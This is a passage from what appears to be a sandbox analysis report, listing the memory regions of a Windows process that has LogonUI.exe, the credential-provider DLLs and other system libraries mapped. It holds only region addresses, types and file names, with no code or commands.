monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5723 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5724 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5725 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5726 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5727 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5728 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5729 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 5730 start_va = 0x170000 end_va = 0x171fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 5731 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5732 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5733 start_va = 0x290000 end_va = 0x291fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 5734 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5735 start_va = 0x3a0000 end_va = 0x527fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 5736 start_va = 0x530000 end_va = 0x6b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 5737 start_va = 0x6c0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 5738 start_va = 0x6f0000 end_va = 0x6f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 5739 start_va = 0x700000 end_va = 0x701fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 5740 start_va = 0x710000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5741 start_va = 0x750000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 5742 start_va = 0x7d0000 end_va = 0x7d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "authui.dll.mui" filename = "\\Windows\\System32\\en-US\\authui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\authui.dll.mui") Region: id = 5743 start_va = 0x7e0000 end_va = 0x7e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 5744 start_va = 0x7f0000 end_va = 0x7fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5745 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5746 start_va = 0x810000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 5747 start_va = 0x890000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 5748 start_va = 0x990000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 5749 start_va = 0xa10000 end_va = 0xcdefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5750 start_va = 0xce0000 end_va = 0xce0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 5751 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 5752 start_va = 0xd00000 end_va = 0xd00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 5753 start_va = 0xd10000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 5754 start_va = 0xd20000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 5755 start_va = 0xd30000 end_va = 0xd30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 5756 start_va = 0xd40000 end_va = 0xd40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 5757 start_va = 0xd50000 end_va = 0xd50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 5758 start_va = 0xd60000 end_va = 0xd60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 5759 start_va = 0xd70000 end_va = 0xd70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 5760 start_va = 0xd80000 end_va = 0xd80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 5761 start_va = 0xd90000 end_va = 0xd90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 5762 start_va = 0xda0000 end_va = 0xda0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 5763 start_va = 0xdb0000 end_va = 0xdb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 5764 start_va = 0xdc0000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 5765 start_va = 0xdd0000 end_va = 0xdd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 5766 start_va = 0xde0000 end_va = 0xde0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 5767 start_va = 0xdf0000 end_va = 0xdf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 5768 start_va = 0xe00000 end_va = 0xe00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 5769 start_va = 0xe10000 end_va = 0xe10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 5770 start_va = 0xe20000 end_va = 0xe20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 5771 start_va = 0xe30000 end_va = 0xe30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 5772 start_va = 0xe40000 end_va = 0xe40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 5773 start_va = 0xe50000 end_va = 0xe50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 5774 start_va = 0xe60000 end_va = 0xe60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 5775 start_va = 0xe70000 end_va = 0xe70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 5776 start_va = 0xe80000 end_va = 0xe80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 5777 start_va = 0xe90000 end_va = 0xe90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 5778 start_va = 0xea0000 end_va = 0xea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 5779 start_va = 0xeb0000 end_va = 0xeb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 5780 start_va = 0xec0000 end_va = 0xec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 5781 start_va = 0xed0000 end_va = 0xed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 5782 start_va = 0xee0000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 5783 start_va = 0xef0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 5784 start_va = 0xf00000 end_va = 0xf00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 5785 start_va = 0xf10000 end_va = 0xf10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 5786 start_va = 0xf20000 end_va = 0xf20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 5787 start_va = 0xf30000 end_va = 0xf36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 5788 start_va = 0xf40000 end_va = 0xf49fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 5789 start_va = 0xf50000 end_va = 0xf56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 5790 start_va = 0xf60000 end_va = 0xf83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 5791 start_va = 0xf90000 end_va = 0xf99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 5792 start_va = 0xfa0000 end_va = 0xfa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 5793 start_va = 0xfb0000 end_va = 0xfb9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 5794 start_va = 0xfc0000 end_va = 0xfc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 5795 start_va = 0xfd0000 end_va = 0x1007fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 5796 start_va = 0x1010000 end_va = 0x1019fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 5797 start_va = 0x1020000 end_va = 0x1020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 5798 start_va = 0x1030000 end_va = 0x1030fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 5799 start_va = 0x1040000 end_va = 0x1040fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 5800 start_va = 0x1050000 end_va = 0x1050fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 5801 start_va = 0x1060000 end_va = 0x1060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 5802 start_va = 0x1070000 end_va = 0x1071fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 5803 start_va = 0x1080000 end_va = 0x1080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 5804 start_va = 0x1090000 end_va = 0x1091fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 5805 start_va = 0x10a0000 end_va = 0x10a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 5806 start_va = 0x10b0000 end_va = 0x10b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 5807 start_va = 0x10c0000 end_va = 0x10c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 5808 start_va = 0x10d0000 end_va = 0x10d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 5809 start_va = 0x10e0000 end_va = 0x10e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 5810 start_va = 0x10f0000 end_va = 0x10f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 5811 start_va = 0x1100000 end_va = 0x1100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 5812 start_va = 0x1110000 end_va = 0x1110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 5813 start_va = 0x1120000 end_va = 0x1120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 5814 start_va = 0x1130000 end_va = 0x1130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 5815 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 5816 start_va = 0x1150000 end_va = 0x1150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 5817 start_va = 0x1160000 end_va = 0x1160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 5818 start_va = 0x1170000 end_va = 0x1170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 5819 start_va = 0x1180000 end_va = 0x1180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 5820 start_va = 0x1190000 end_va = 0x1190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 5821 start_va = 0x11a0000 end_va = 0x11a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 5822 start_va = 0x11b0000 end_va = 0x11b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 5823 start_va = 0x11c0000 end_va = 0x11c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 5824 start_va = 0x11d0000 end_va = 0x11d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 5825 start_va = 0x11e0000 end_va = 0x11e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 5826 start_va = 0x11f0000 end_va = 0x11f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 5827 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 5828 start_va = 0x1300000 end_va = 0x2654fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 5829 start_va = 0x2660000 end_va = 0x2660fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 5830 start_va = 0x2670000 end_va = 0x2670fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 5831 start_va = 0x2680000 end_va = 0x2691fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 5832 start_va = 0x26a0000 end_va = 0x26a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026a0000" filename = "" Region: id = 5833 start_va = 0x26b0000 end_va = 0x26b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026b0000" filename = "" Region: id = 5834 start_va = 0x26c0000 end_va = 0x26c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Region: id = 5835 start_va = 0x26d0000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026d0000" filename = "" Region: id = 5836 start_va = 0x26e0000 end_va = 0x279ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5837 start_va = 0x27a0000 end_va = 0x281ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 5838 start_va = 0x2840000 end_va = 0x28bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 5839 start_va = 0x2980000 end_va = 0x2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 5840 start_va = 0x2c80000 end_va = 0x2c80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 5841 start_va = 0x2da0000 end_va = 0x2e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002da0000" filename = "" Region: id = 5842 start_va = 0x2e60000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 5843 start_va = 0x32a0000 end_va = 0x339ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 5844 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5845 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5846 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5847 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5848 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5849 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5850 start_va = 0xff150000 end_va = 0xff15afff monitored = 0 entry_point = 0xff155c78 region_type = mapped_file name = "logonui.exe" filename = "\\Windows\\System32\\LogonUI.exe" (normalized: "c:\\windows\\system32\\logonui.exe") Region: id = 5851 start_va = 0x7fef2090000 end_va = 0x7fef20f7fff monitored = 0 entry_point = 0x7fef2091070 region_type = mapped_file name = "rasplap.dll" filename = "\\Windows\\System32\\rasplap.dll" (normalized: "c:\\windows\\system32\\rasplap.dll") Region: id = 5852 start_va = 0x7fef2100000 end_va = 0x7fef2133fff monitored = 0 entry_point = 0x7fef21011e0 region_type = mapped_file name = "credui.dll" filename = "\\Windows\\System32\\credui.dll" (normalized: "c:\\windows\\system32\\credui.dll") Region: id = 5853 start_va = 0x7fef2d70000 end_va = 0x7fef2d92fff monitored = 0 entry_point = 0x7fef2d74a30 region_type = mapped_file name = "certcredprovider.dll" filename = "\\Windows\\System32\\certCredProvider.dll" (normalized: "c:\\windows\\system32\\certcredprovider.dll") Region: id = 5854 start_va = 0x7fef2da0000 end_va = 0x7fef2db6fff monitored = 0 entry_point = 0x7fef2dad9d4 region_type = mapped_file name = "winbio.dll" filename = "\\Windows\\System32\\winbio.dll" (normalized: "c:\\windows\\system32\\winbio.dll") Region: id = 5855 start_va = 0x7fef2dc0000 end_va = 0x7fef2df1fff monitored = 0 entry_point = 0x7fef2dcfc64 region_type = mapped_file name = "biocredprov.dll" filename = "\\Windows\\System32\\BioCredProv.dll" (normalized: "c:\\windows\\system32\\biocredprov.dll") Region: id = 5856 start_va = 0x7fef2e00000 end_va = 0x7fef2e31fff monitored = 0 entry_point = 0x7fef2e18e58 region_type = mapped_file name = "smartcardcredentialprovider.dll" filename = "\\Windows\\System32\\SmartcardCredentialProvider.dll" (normalized: "c:\\windows\\system32\\smartcardcredentialprovider.dll") Region: id = 5857 start_va = 0x7fef2e40000 end_va = 0x7fef2e57fff monitored = 0 entry_point = 0x7fef2e46274 region_type = mapped_file name = "vaultcredprovider.dll" filename = "\\Windows\\System32\\VaultCredProvider.dll" (normalized: "c:\\windows\\system32\\vaultcredprovider.dll") Region: id = 5858 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 5859 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 5860 start_va = 0x7fef9f40000 end_va = 0x7fef9f4dfff monitored = 0 entry_point = 0x7fef9f4726c region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 5861 start_va = 0x7fefa5f0000 end_va = 0x7fefa5f7fff monitored = 0 entry_point = 0x7fefa5f11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 5862 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 5863 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 5864 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5865 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5866 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5867 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5868 start_va = 0x7fefb020000 end_va = 0x7fefb149fff monitored = 0 entry_point = 0x7fefb023810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 5869 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 5870 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5871 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 5872 start_va = 0x7fefb200000 end_va = 0x7fefb20afff monitored = 0 entry_point = 0x7fefb201020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 5873 start_va = 0x7fefb210000 end_va = 0x7fefb24afff monitored = 0 entry_point = 0x7fefb21f410 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 5874 start_va = 0x7fefb250000 end_va = 0x7fefb292fff monitored = 0 entry_point = 0x7fefb25c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 5875 start_va = 0x7fefb2a0000 end_va = 0x7fefb391fff monitored = 0 entry_point = 0x7fefb2cac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 5876 start_va = 0x7fefb3a0000 end_va = 0x7fefb5b4fff monitored = 0 entry_point = 0x7fefb5764b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 5877 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5878 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5879 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 5880 start_va = 0x7fefb9a0000 end_va = 0x7fefbaa9fff monitored = 0 entry_point = 0x7fefb9a1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 5881 start_va = 0x7fefbab0000 end_va = 0x7fefbc89fff monitored = 0 entry_point = 0x7fefbab3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 5882 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5883 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5884 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5885 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5886 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type 